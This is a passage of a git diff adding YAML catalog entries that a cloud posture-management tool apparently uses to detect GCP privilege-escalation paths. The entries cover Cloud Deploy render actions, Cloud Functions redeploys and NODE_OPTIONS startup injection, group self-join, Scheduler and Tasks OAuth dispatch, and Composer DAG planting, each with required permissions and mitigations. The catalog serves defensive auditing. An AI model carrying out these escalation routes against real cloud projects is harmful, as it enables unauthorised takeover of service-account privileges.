- id: cross_project_service_agent + description: The build project's Cloud Build service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: submission_path + description: Google documents gcloud build submission or trigger creation for this cross-project configuration. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended build projects and service accounts. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml new file mode 100644 index 0000000000..5daadbaf68 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml @@ -0,0 +1,139 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Deploy privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-deploy-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: clouddeploy_target -> execution SA of an existing target/pipeline (executionConfigs[].serviceAccount, +# defaultPool/privatePool.serviceAccount, falling back to the Compute Engine default SA) and the runtime SA of the Cloud Run +# service / GKE workload the target deploys to. "{target.host_resource}" = that delivery pipeline. + +- id: gcp-clouddeploy-pipeline-target-release-actas + provider: gcp + service: clouddeploy + title: Configure a custom target to render as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can create or update a custom target and a delivery pipeline, then supply render action source that runs as a service account it can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_configurable_custom_render_path: true + scope: any + aggregate_as: Service accounts usable in a configurable custom-target render path + conditions: + - id: exact_configuration_path + description: The source must have the required create or update grants on the same project, pipeline, and target route; an existing custom target type must name a controllable render action, or the source must be able to create that type. + - id: execution_sa_roles + description: The selected render service account needs Cloud Deploy job runner and artifact access for the action to run. + - id: source_staging + description: The release needs valid source containing the custom render action. Local-source CLI staging needs Storage permissions, while a direct API request may reference staged source. + - id: cross_project_account + description: A render account in another project additionally needs cross-project organization-policy and service-agent grants; without those facts the path remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated render accounts, and restrict target and pipeline creation or updates that can select those accounts. + references: + - https://cloud.google.com/deploy/docs/execution-environment + notes: Custom rendering runs during release creation, so rollout permission is not required. PATCH with allowMissing can create a pipeline, target, or custom target type with its update permission. The selector joins the required grants in one project and keeps incomplete inventory or conditioned authority unresolved. +- id: gcp-clouddeploy-release-existing-pipeline + provider: gcp + service: clouddeploy + title: Run custom target render code through an existing delivery pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#clouddeployreleasescreate--clouddeployrolloutscreate--iamserviceaccountsactas--deploy-attacker-controlled-artifacts-through-an-existing-pipeline + source_revision: 6fb9ac51fd + summary: The source can provide release source with a custom render action used by an existing pipeline, causing the action to run as the target's render execution service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_existing_custom_render_path: true + scope: any + aggregate_as: Render SAs of existing custom-target pipelines the source can release to + conditions: + - id: existing_custom_target + description: The collected pipeline must contain the custom target, its type, and the exact RENDER service account selected for the target. + - id: release_source + description: The caller must supply valid source containing a custom render action with the name referenced by the custom target type; local-source CLI staging needs Storage permissions, while the direct API can reference staged source. + - id: runner_access + description: The render account needs Cloud Deploy job runner and artifact access, and a deploy policy must not reject the release. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict release creation on pipelines using privileged custom-target render accounts and grant actAs only where needed. + references: + - https://docs.cloud.google.com/deploy/docs/execution-environment + notes: Custom render runs during release creation, so this route does not require rollout permission. Remote Skaffold modules or an incomplete custom target definition leave control of the render action unresolved. Other deployment and workload-runtime routes need separate execution-account and target checks. +- id: gcp-clouddeploy-resource-setiampolicy + provider: gcp + service: clouddeploy + title: Self-grant release rights on an existing delivery pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy-resource-setiampolicy--self-grant-deployment-permissions + source_revision: 171e422 + summary: The source can grant itself release creation on an existing delivery pipeline, then supply a custom render action that runs as the pipeline target's render service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_pipeline_policy_custom_render_path: true + scope: any + aggregate_as: Render SAs of custom-target pipelines whose IAM the source controls + conditions: + - id: followup + description: The source must grant itself release creation on the same pipeline, then supply valid source containing the custom render action used by its target; local-source staging may need Storage permissions. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + - id: exact_policy_and_new_access + description: The exact pipeline IAM policy must be readable for an additive grant, and the source must not already have release creation on that pipeline; unresolved policy reads or binding restrictions keep the path unknown. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict delivery pipeline setIamPolicy and avoid privileged render service accounts on pipelines whose policy can be changed by less trusted principals. + notes: A direct setIamPolicy request can replace a policy without first reading it, but an additive self-grant depends on preserving existing bindings and conditions. Remote Skaffold modules may also prevent the release source from controlling the custom render action. +- id: gcp-clouddeploy-custom-target-render-actas + provider: gcp + service: clouddeploy + title: Run an updated custom-target render task as the target execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can update a custom target type used by an existing delivery target so that release rendering runs attacker-controlled task code as its render execution service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_custom_render_path: true + scope: any + aggregate_as: Render SAs of existing Cloud Deploy pipelines using a custom target type the source can update + conditions: + - id: custom_target_relationship + description: A collected pipeline stage must name the custom target, the target must name the custom target type, and its RENDER configuration must use the selected service account. + - id: exact_write_grants + description: The source must be able to update that exact custom target type and create a release in that exact pipeline. + - id: render_source + description: The release must have valid source available to the render account. Local-source CLI staging needs Storage permissions, but a direct API request may reference previously staged source. + - id: execution_sa_roles + description: The render account must retain its Cloud Deploy job runner and artifact access, and target configuration or policy must not reject the task. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict custom target type updates and release creation; review render task images and commands, and limit actAs on execution accounts. + notes: CustomTargetType.tasks.render executes during release creation, so no clouddeploy.rollouts.create permission is needed for this render-only variant. Missing pipeline, target, or custom target type inventory keeps the relationship unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml new file mode 100644 index 0000000000..742e296442 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml @@ -0,0 +1,153 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Functions privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudfunctions-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deploying/updating a function requires actAs on the runtime SA and on a user-managed or Compute default build SA (Google +# documents Service Account User on both); only the legacy Google-owned builder is exempt. Source upload is +# cloudfunctions.functions.sourceCodeSet (v1 GenerateUploadUrl) or cloudfunctions.functions.generateUploadUrl (v2). Triggering the function may need cloudfunctions.functions.invoke (gen1) or run.routes.invoke (gen2). + +- id: gcp-cloudfunctions-create-actas + provider: gcp + service: cloudfunctions + title: Create a Cloud Function running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionscreate--source-upload--iamserviceaccountsactas--create-a-runtime-token-oracle + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudfunctions_create_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Functions runtime SA in {project}" + conditions: + - id: supported_location + description: The selected region must be returned by the Cloud Functions locations API and have an observed default Cloud Build identity. + - id: build_sa_actas + description: The selector checks actAs on the observed default build SA unless it is the legacy Google-owned builder; a custom build SA is not inferred. + - id: trigger + description: The selector checks project-wide invocation rights; event triggers and other callers remain unresolved. + - id: prepared_storage_source + description: An existing Cloud Storage source may also be deployable but is unresolved without a concrete source object. + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific SAs and restrict roles/cloudfunctions.developer. + references: + - https://cloud.google.com/functions/docs/securing/function-identity + - https://docs.cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/generateUploadUrl + +- id: gcp-cloudfunctions-update-sourcecodeset-actas + provider: gcp + service: cloudfunctions + title: Replace an existing function's code or attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by redeploying an existing function. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudfunctions_existing_source_update_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing functions in {project}" + conditions: + - id: existing_function + description: Needs an active existing function on which update and source-upload rights hold. An observed event trigger or invocation right supports execution; other callers remain unresolved. + - id: build_sa_actas + description: actAs is also checked on the configured or default build SA, except for the legacy Google-owned Cloud Build account. + - id: trigger + description: Triggering may require invoke permission or an event the source controls. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cloudfunctions.functions.update and grant actAs only on specific SAs. + notes: Update without actAs on the runtime and build SAs is rejected. A redeploy that omits the SA must preserve the existing runtime/build identity, otherwise the identity (and actAs requirement) changes. + +- id: gcp-cloudfunctions-update-env-actas + provider: gcp + service: cloudfunctions + title: Run code through a Node.js function's startup options + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--inject-a-startup-loader-without-source-update-permission + source_revision: 171e422 + summary: The source can execute an inline startup module in an active Node.js function when it can update the function's environment and act as its runtime and build service accounts. + requires: + all_of: + - action: cloudfunctions.functions.update + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudfunctions_function + gcp_actas_granted_on_target: true + gcp_cloudfunctions_env_startup_path: true + scope: same_project + aggregate_as: "SAs of functions whose configuration the source can update" + conditions: + - id: inline_node_import + description: Node.js 20 and later accept an inline data-URL module through the NODE_OPTIONS --import option, avoiding a pre-existing payload file. + - id: build_sa_actas + description: The selector checks actAs on the configured or default build SA, except for the legacy Google-owned builder. + - id: trigger + description: The selector requires an observed event trigger or invocation right on the function or its Cloud Run service. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudfunctions.functions.update and actAs on function SAs. + notes: Needs no source-upload permission. Other interpreter startup routes stay unresolved unless their payload and execution conditions are recorded. + references: + - https://nodejs.org/api/cli.html#--importmodule + - https://docs.cloud.google.com/functions/docs/reference/iam/roles + +- id: gcp-cloudfunctions-source-deploy-build-identity + provider: gcp + service: cloudfunctions + title: Run attacker build hooks as a function's build service account during source deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#source-deploy--selected-build-service-account--execute-as-the-builder-before-deployment + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the build service account selected for a function it can create or update from source. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_cloudfunctions_source_deploy_build_path: true + scope: same_project + aggregate_as: Build identity selected for functions in {project} + conditions: + - id: runtime_sa_actas + description: The selector checks actAs on a candidate runtime SA for create or the exact runtime SA of an existing function for update. + - id: build_sa_actas + description: Existing functions require actAs on a selected Compute or user-managed builder; creation is reported for an observed legacy builder, while an unproven new build stays unresolved. + - id: build_hook + description: The selected runtime/buildpack must execute a supplied build hook (e.g. a package.json build or gcp-build script) and egress must allow the proof channel. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Configure a dedicated least-privilege build SA for functions and remove Editor from the Compute default and legacy Cloud Build SAs. + references: + - https://docs.cloud.google.com/functions/docs/securing/build-custom-sa + - https://docs.cloud.google.com/build/docs/cloud-build-service-account-updates + notes: Build-stage credentials are obtained before the function image is deployed, so invocation is unnecessary. Deployment still needs authorization to use the runtime SA. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml new file mode 100644 index 0000000000..fa4553e921 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml @@ -0,0 +1,42 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Identity (Google Groups) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudidentity-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# cloudidentity.groups.memberships.create is NOT a GCP IAM permission on the group: the evaluator must resolve it from the +# source's Cloud Identity group role on that group (OWNER or MANAGER), a Workspace Groups Admin / Super Admin role, or a +# group whose settings allow self-join (see SCHEMA EXTENSIONS: group-management facts). + +- id: gcp-cloudidentity-add-member-to-group + provider: gcp + service: cloudidentity + title: Add a controlled principal to a Google group that holds IAM roles + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#control-an-iam-bound-groups-membership--inherit-its-existing-gcp-roles + source_revision: 171e422 + summary: The source can join or add itself to an IAM-bound Google group and gain permissions it does not already hold. + requires: + all_of: + - action: cloudidentity.groups.memberships.create + resource: "{target.resource}" + target: + kind: gcp_group + selector: + resource_permission_covers_target: cloudidentity.groups.memberships.create + scope: any + aggregate_as: "Google groups whose membership the source can manage" + conditions: + - id: membership_authority + description: Requires a Workspace Groups Admin/Super Admin role or a group configured to allow self-join, plus a group IAM binding that adds a permission for the source. + - id: dynamic_groups + description: Dynamic (query-based) groups cannot take direct members; editing the query is an alternate path that needs Cloud Identity Premium. + - id: locked_groups + description: Locked groups restrict membership edits to authorized administrators, whose exact conditions may need separate verification. + - id: external_members + description: Group settings may forbid members outside the organization's domain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Keep privileged groups owned by a small admin set, disallow self-join and external members, and review group OWNERs/MANAGERs. + references: + - https://cloud.google.com/identity/docs/groups + notes: Existing members already inherit the group's IAM roles, so they are excluded from this self-gain path. Dynamic groups cannot take a direct new member. Locked groups need an authorized administrator. Cloud Identity groups.memberships.create is resolved from directory evidence, not from a GCP IAM role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml new file mode 100644 index 0000000000..1fce6e1849 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml @@ -0,0 +1,83 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Scheduler privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudscheduler-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP jobs with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (the token is minted by the +# Scheduler service agent at delivery; the creator needs actAs). OIDC-only paths are excluded (audience-bound tokens). +# Scheduler jobs have no resource-level IAM. + +- id: gcp-cloudscheduler-jobs-create-actas + provider: gcp + service: cloudscheduler + title: Create a scheduler job that calls Google APIs authenticated as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--iamserviceaccountsactas--authenticated-http-dispatch-as-a-service-account + source_revision: 171e422 + summary: The source can schedule selected OAuth-authenticated Google API requests as a service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudscheduler.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudscheduler_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Scheduler OAuth identity in {project}" + conditions: + - id: service_agent + description: The project's Cloud Scheduler service agent needs its service agent role to mint the OAuth token. + - id: request_level + description: The source acts as the SA one predefined HTTP request at a time (no token in hand); any Google API reachable over a single authenticated request is usable, which is sufficient to self-grant further access. + - id: response_visibility + description: The response body is not returned to the source; only status is visible in execution logs. + - id: trigger + description: The job fires on its schedule; on-demand firing needs cloudscheduler.jobs.run. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict roles/cloudscheduler.admin. + references: + - https://cloud.google.com/scheduler/docs/http-target-auth + notes: OAuth target hosts are restricted to *.googleapis.com. HackTricks also describes a key-upload chain through the scheduled request (iam.serviceAccountKeys.create held by the job SA). + +- id: gcp-cloudscheduler-jobs-update-actas + provider: gcp + service: cloudscheduler + title: Update an existing scheduler job to call Google APIs as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--iamserviceaccountsactas--authenticated-http-dispatch-as-a-service-account + source_revision: 171e422 + summary: The source can change an existing job to send selected OAuth-authenticated Google API requests as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudscheduler.jobs.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudscheduler_update_job_path: true + gcp_cloudscheduler_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Scheduler jobs in {project}" + conditions: + - id: existing_job + description: Needs an enabled job, a paused job the source can resume, or a failed update the source can retry. + - id: service_agent + description: The project's Cloud Scheduler service agent needs its service agent role to mint the OAuth token. + - id: request_level + description: The source acts as the SA through predefined HTTP requests to *.googleapis.com, not with a token in hand. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cloudscheduler.jobs.update and grant actAs only on specific SAs. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml new file mode 100644 index 0000000000..dd88605be9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml @@ -0,0 +1,4 @@ +# Managed rotation is an exact database-principal pivot only after the target +# user, usable new password, and newly allowed database action are reviewed. +# Canonical policy: peaso/privesc/catalog_policy.yaml +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml new file mode 100644 index 0000000000..57ca3282c6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml @@ -0,0 +1,81 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Tasks privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudtasks-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP tasks with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (token minted by the Cloud +# Tasks service agent; actAs is enforced at enqueue, also for queue-level overrides). OIDC-only paths are excluded. + +- id: gcp-cloudtasks-tasks-create-actas + provider: gcp + service: cloudtasks + title: Enqueue HTTP tasks authenticated as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-iamserviceaccountsactas + source_revision: 171e422 + summary: The source can enqueue selected OAuth-authenticated Google API requests or deliver an audience-bound OIDC identity token as a service account in the queue's project, if a usable queue exists. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudtasks_enqueue_path: true + gcp_cloudtasks_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Tasks OAuth identity in {project}" + conditions: + - id: service_agent + description: The project's Cloud Tasks service agent must be able to create an OAuth or OIDC token for the target service account. + - id: oauth_request_level + description: OAuth access is limited to predefined requests to *.googleapis.com, with no token returned to the source. + - id: oidc_audience + description: An OIDC token can be delivered to a chosen listener but only grants access where the target identity and chosen audience are trusted. + - id: existing_queue + description: Needs a running queue where tasks.create holds, a paused queue the source can resume, or rights to create both a queue and its task. Queue target overrides remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles tasks.create and actAs. + references: + - https://cloud.google.com/tasks/docs/creating-http-target-tasks + notes: The OIDC path can deliver a Google-signed identity token to an external listener; the OAuth path can only drive Google APIs directly. + +- id: gcp-cloudtasks-queues-setiampolicy-actas + provider: gcp + service: cloudtasks + title: Self-grant Cloud Tasks admin on a queue and enqueue authenticated tasks + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuessetiampolicy + source_revision: 171e422 + summary: The source can add task creation access it does not already have on an existing queue, then send an OAuth API request or deliver an audience-bound OIDC token as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudtasks_queue_policy_path: true + gcp_cloudtasks_authenticated_delivery: true + scope: same_project + aggregate_as: "Service accounts usable via self-granted Cloud Tasks queues in {project}" + conditions: + - id: new_queue_access + description: The source needs a new task creation grant on the exact queue; unread policies or IAM member restrictions leave this unresolved. + - id: existing_queue + description: Needs a running queue on which setIamPolicy holds, or a paused queue the source can resume. A queue target override must be absent or removable with queues.update. + - id: service_agent + description: The project's Cloud Tasks service agent must be able to create a token for the target service account. + - id: oauth_request_level + description: OAuth access is limited to predefined requests to *.googleapis.com, with no token returned to the source. + - id: oidc_audience + description: An OIDC token can be delivered to a chosen listener but only grants access where the target identity and chosen audience are trusted. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict cloudtasks.queues.setIamPolicy (roles/cloudtasks.queueAdmin, roles/cloudtasks.admin) and actAs grants. + notes: actAs is still enforced at enqueue, so the queue self-grant alone does not reach any SA. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml new file mode 100644 index 0000000000..61ba9610c4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml @@ -0,0 +1,101 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Composer (managed Airflow) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-composer-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Composer environments have no resource-level IAM (project-level only). DAGs and tasks run as the environment SA. + +- id: gcp-composer-environments-create-actas + provider: gcp + service: composer + title: Create a Composer environment running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentscreate--iamserviceaccountsactas--bucket-write--create-an-environment-over-a-chosen-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Composer environment that runs as that service account and delivering a DAG to it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: composer.environments.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_composer_create_with_dag_path: true + scope: same_project + aggregate_as: "Service accounts usable as Composer environment SA in {project}" + conditions: + - id: supported_location + description: The bucket region must return a Composer image version that supports custom buckets and can be used for new environments. + - id: code_delivery + description: The selector requires a new DAG object under dags/ in an eligible same-project regional custom bucket before environment creation; later writes to a new default bucket and package updates remain unresolved. + - id: legacy_actas_exemption + description: Until constraints/composer.enforceServiceAccountActAsCheck is enforced on a legacy organization, a creator can attach any project SA without actAs (the edge then reaches every project SA; not modelled). + - id: environment_sa_role + description: The selector requires an unconditional project-level Composer Worker role and derived read and list access to the selected bucket for the environment service account. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/composer.admin does not include actAs but roles/editor does. + references: + - https://cloud.google.com/composer/docs/composer-2/access-control +- id: gcp-composer-environments-update + provider: gcp + service: composer + title: Update a Composer environment's variables, Airflow overrides, PyPI packages or load a snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsupdate--install-attacker-controlled-python-as-the-environment-identity + source_revision: 171e422 + summary: The source can introduce a Python package into a running Composer environment that uses the target service account. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_pypi_update_path: true + scope: any + aggregate_as: SAs of Composer environments the source can update + conditions: + - id: package_delivery + description: The selector requires a running environment, enabled Composer API, exact service-account attachment, and derived update permission. Package resolution, build success, and later Airflow import depend on repository and runtime configuration. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict composer.environments.update to environment administrators and pin PyPI sources. + notes: Google documents PyPI installation as code execution on behalf of the environment service account; no actAs is re-checked on update. Build and later Airflow import can use different identities, so the runtime service-account edge remains conditional. Other environment-variable and snapshot paths are not asserted by this selector. +- id: gcp-composer-bucket-write + provider: gcp + service: composer + title: Write a DAG into a Composer environment's bucket + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#storageobjectscreate--inject-a-dag-into-an-existing-environment-bucket + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Composer environment whose DAG bucket it can write to. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_dag_upload_path: true + scope: any + aggregate_as: SAs of Composer environments whose DAG bucket the source can write + conditions: + - id: dag_sync + description: The selector requires a running or updating environment and derived storage.objects.create permission for a new Python file under its observed DAG prefix; the scheduler then synchronizes and parses it as the environment SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict write access to Composer environment buckets (roles/storage.objectAdmin/objectCreator on the bucket, roles/composer.environmentAndStorageObjectAdmin). + notes: Pure confused deputy through bucket write; the Import DAGs path of the SDK uses the same bucket write. Overwriting an existing DAG may also need storage.objects.delete. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml new file mode 100644 index 0000000000..e54fbea50f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml @@ -0,0 +1,370 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Compute Engine privilege escalation techniques. +# Source: hacktricks-cloud 